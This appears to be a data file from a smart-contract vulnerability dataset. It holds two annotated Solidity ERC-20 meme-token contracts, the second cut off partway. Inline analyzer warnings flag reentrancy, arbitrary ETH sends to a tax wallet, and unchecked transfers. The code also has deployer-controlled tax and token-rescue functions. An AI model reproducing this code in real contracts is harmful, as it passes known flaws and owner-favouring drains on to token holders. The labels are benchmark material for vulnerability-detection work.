files dict |
|---|
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ai16z is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b220a2e): ai16z._taxWallet should be immutable \n\t// Recommendation for b220a2e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b12868a): ai16z._initialBuyTax should be constant \n\t// Recommendation for b12868a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6954655): ai16z._initialSellTax should be constant \n\t// Recommendation for 6954655: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4f240f8): ai16z._reduceBuyTaxAt should be constant \n\t// Recommendation for 4f240f8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5d84fbf): ai16z._reduceSellTaxAt should be constant \n\t// Recommendation for 5d84fbf: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 740ddf6): ai16z._preventSwapBefore should be constant \n\t// Recommendation for 740ddf6: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"ai16z\";\n\n string private constant _symbol = unicode\"ai16z\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 372645d): ai16z._taxSwapThreshold should be constant \n\t// Recommendation for 372645d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 64f78aa): ai16z._maxTaxSwap should be constant \n\t// Recommendation for 64f78aa: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 698220f): ai16z.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 698220f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e3e4a73): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e3e4a73: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 94e42c5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 94e42c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: e3e4a73\n\t\t// reentrancy-benign | ID: 94e42c5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: e3e4a73\n\t\t// reentrancy-benign | ID: 94e42c5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d72bd69): ai16z._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d72bd69: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 94e42c5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: e3e4a73\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: e51081d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for e51081d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0c274dd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0c274dd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: e51081d\n\t\t\t\t// reentrancy-eth | ID: 0c274dd\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: e51081d\n\t\t\t\t\t// reentrancy-eth | ID: 0c274dd\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0c274dd\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0c274dd\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 0c274dd\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: e51081d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 0c274dd\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 0c274dd\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: e51081d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: e3e4a73\n\t\t// reentrancy-events | ID: e51081d\n\t\t// reentrancy-benign | ID: 94e42c5\n\t\t// reentrancy-eth | ID: 0c274dd\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 645497e): ai16z.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 645497e: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: e3e4a73\n\t\t// reentrancy-events | ID: e51081d\n\t\t// reentrancy-eth | ID: 0c274dd\n\t\t// arbitrary-send-eth | ID: 645497e\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e762e40): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e762e40: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 40be4d8): ai16z.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 40be4d8: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 2c2cd8c): ai16z.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 2c2cd8c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 718992c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 718992c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e762e40\n\t\t// reentrancy-eth | ID: 718992c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e762e40\n\t\t// unused-return | ID: 40be4d8\n\t\t// reentrancy-eth | ID: 718992c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e762e40\n\t\t// unused-return | ID: 2c2cd8c\n\t\t// reentrancy-eth | ID: 718992c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e762e40\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 718992c\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: e53eacc): ai16z.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for e53eacc: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: e53eacc\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10808.sol",
"size_bytes": 20184,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 06b7f9a): runner.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 06b7f9a: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: c01c68f\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: c01c68f\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: cda6621\n emit Transfer(sender, recipient, amount);\n }\n\n function _createInitialSupply(\n address account,\n uint256 amount\n ) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8e99d27\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b4a674a\n emit Approval(owner, spender, amount);\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() external virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ninterface IDexFactory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract runner is ERC20, Ownable {\n uint256 public maxBuy;\n\n uint256 public maxSell;\n\n uint256 public maxWallet;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6c4e9dd): runner.dexRouter should be immutable \n\t// Recommendation for 6c4e9dd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IDexRouter public dexRouter;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 039cc46): runner.lpPair should be immutable \n\t// Recommendation for 039cc46: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public lpPair;\n\n bool private swapping;\n\n uint256 public swapTokensAtAmount;\n\n address operationsAddress;\n\n address devAddress;\n\n uint256 public tradingActiveBlock = 0;\n\n uint256 public blockForPenaltyEnd;\n\n mapping(address => bool) public boughtEarly;\n\n uint256 public botsCaught;\n\n bool public limitsInEffect = true;\n\n bool public tradingActive = false;\n\n bool public swapEnabled = false;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n uint256 public buyTotalFees;\n\n uint256 public buyOperationsFee;\n\n uint256 public buyLiquidityFee;\n\n uint256 public buyDevFee;\n\n uint256 public buyBurnFee;\n\n uint256 public sellTotalFees;\n\n uint256 public sellOperationsFee;\n\n uint256 public sellLiquidityFee;\n\n uint256 public sellDevFee;\n\n uint256 public sellBurnFee;\n\n uint256 public tokensForOperations;\n\n uint256 public tokensForLiquidity;\n\n uint256 public tokensForDev;\n\n uint256 public tokensForBurn;\n\n mapping(address => bool) private _isExcludedFromFees;\n\n mapping(address => bool) public _isExcludedMaxTransactionAmount;\n\n mapping(address => bool) public automatedMarketMakerPairs;\n\n event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);\n\n event Launched();\n\n event RemovedLimits();\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event UpdatedMaxBuyAmount(uint256 newAmount);\n\n event UpdatedMaxSellAmount(uint256 newAmount);\n\n event UpdatedMaxWalletAmount(uint256 newAmount);\n\n event UpdatedOperationsAddress(address indexed newWallet);\n\n event MaxTransactionExclusion(address _address, bool excluded);\n\n event BuyBackTriggered(uint256 amount);\n\n event OwnerForcedSwapBack(uint256 timestamp);\n\n event CaughtEarlyBuyer(address sniper);\n\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiquidity\n );\n\n event TransferForeignToken(address token, uint256 amount);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 32fec8a): runner.constructor().newOwner lacks a zerocheck on \t operationsAddress = address(newOwner) \t devAddress = address(newOwner)\n\t// Recommendation for 32fec8a: Check that the address is not zero.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 06b7f9a): runner.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 06b7f9a: Rename the local variables that shadow another component.\n constructor() ERC20(\"Homestar Runner\", \"RUNNER\") {\n address newOwner = msg.sender;\n\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n dexRouter = _dexRouter;\n\n lpPair = IDexFactory(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n _excludeFromMaxTransaction(address(lpPair), true);\n\n _setAutomatedMarketMakerPair(address(lpPair), true);\n\n uint256 totalSupply = 1 * 1e9 * 1e18;\n\n maxBuy = (totalSupply * 1) / 50;\n\n maxSell = (totalSupply * 1) / 50;\n\n maxWallet = (totalSupply * 1) / 50;\n\n swapTokensAtAmount = (totalSupply * 5) / 10000;\n\n buyOperationsFee = 25;\n\n buyLiquidityFee = 0;\n\n buyDevFee = 0;\n\n buyBurnFee = 0;\n\n buyTotalFees =\n buyOperationsFee +\n buyLiquidityFee +\n buyDevFee +\n buyBurnFee;\n\n sellOperationsFee = 25;\n\n sellLiquidityFee = 0;\n\n sellDevFee = 0;\n\n sellBurnFee = 0;\n\n sellTotalFees =\n sellOperationsFee +\n sellLiquidityFee +\n sellDevFee +\n sellBurnFee;\n\n _excludeFromMaxTransaction(newOwner, true);\n\n _excludeFromMaxTransaction(address(this), true);\n\n _excludeFromMaxTransaction(address(0xdead), true);\n\n excludeFromFees(newOwner, true);\n\n excludeFromFees(address(this), true);\n\n excludeFromFees(address(0xdead), true);\n\n\t\t// missing-zero-check | ID: 32fec8a\n operationsAddress = address(newOwner);\n\n\t\t// missing-zero-check | ID: 32fec8a\n devAddress = address(newOwner);\n\n _createInitialSupply(newOwner, totalSupply);\n\n transferOwnership(newOwner);\n }\n\n receive() external payable {}\n\n function gorun(uint256 _deadblocks) external onlyOwner {\n require(!tradingActive, \"Cannot reenable trading\");\n\n tradingActive = true;\n\n swapEnabled = true;\n\n tradingActiveBlock = block.number;\n\n blockForPenaltyEnd = tradingActiveBlock + _deadblocks;\n\n emit Launched();\n }\n\n function removeLimits() external onlyOwner {\n limitsInEffect = false;\n\n transferDelayEnabled = false;\n\n emit RemovedLimits();\n }\n\n function manageEarly(address wallet, bool flag) external onlyOwner {\n boughtEarly[wallet] = flag;\n }\n\n function disableTransferDelay() external onlyOwner {\n transferDelayEnabled = false;\n }\n\n function updateMaxBuy(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 2) / 1000) / 1e18,\n \"Cannot set max buy amount lower than 0.2%\"\n );\n\n maxBuy = newNum * (10 ** 18);\n\n emit UpdatedMaxBuyAmount(maxBuy);\n }\n\n function updateMaxSell(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 2) / 1000) / 1e18,\n \"Cannot set max sell amount lower than 0.2%\"\n );\n\n maxSell = newNum * (10 ** 18);\n\n emit UpdatedMaxSellAmount(maxSell);\n }\n\n function updateMaxWallet(uint256 newNum) external onlyOwner {\n require(\n newNum >= ((totalSupply() * 3) / 1000) / 1e18,\n \"Cannot set max wallet amount lower than 0.3%\"\n );\n\n maxWallet = newNum * (10 ** 18);\n\n emit UpdatedMaxWalletAmount(maxWallet);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4b96899): runner.updateSwapTokens(uint256) should emit an event for swapTokensAtAmount = newAmount \n\t// Recommendation for 4b96899: Emit an event for critical parameter changes.\n function updateSwapTokens(uint256 newAmount) external onlyOwner {\n require(\n newAmount >= (totalSupply() * 1) / 100000,\n \"Swap amount cannot be lower than 0.001% total supply.\"\n );\n\n require(\n newAmount <= (totalSupply() * 1) / 1000,\n \"Swap amount cannot be higher than 0.1% total supply.\"\n );\n\n\t\t// events-maths | ID: 4b96899\n 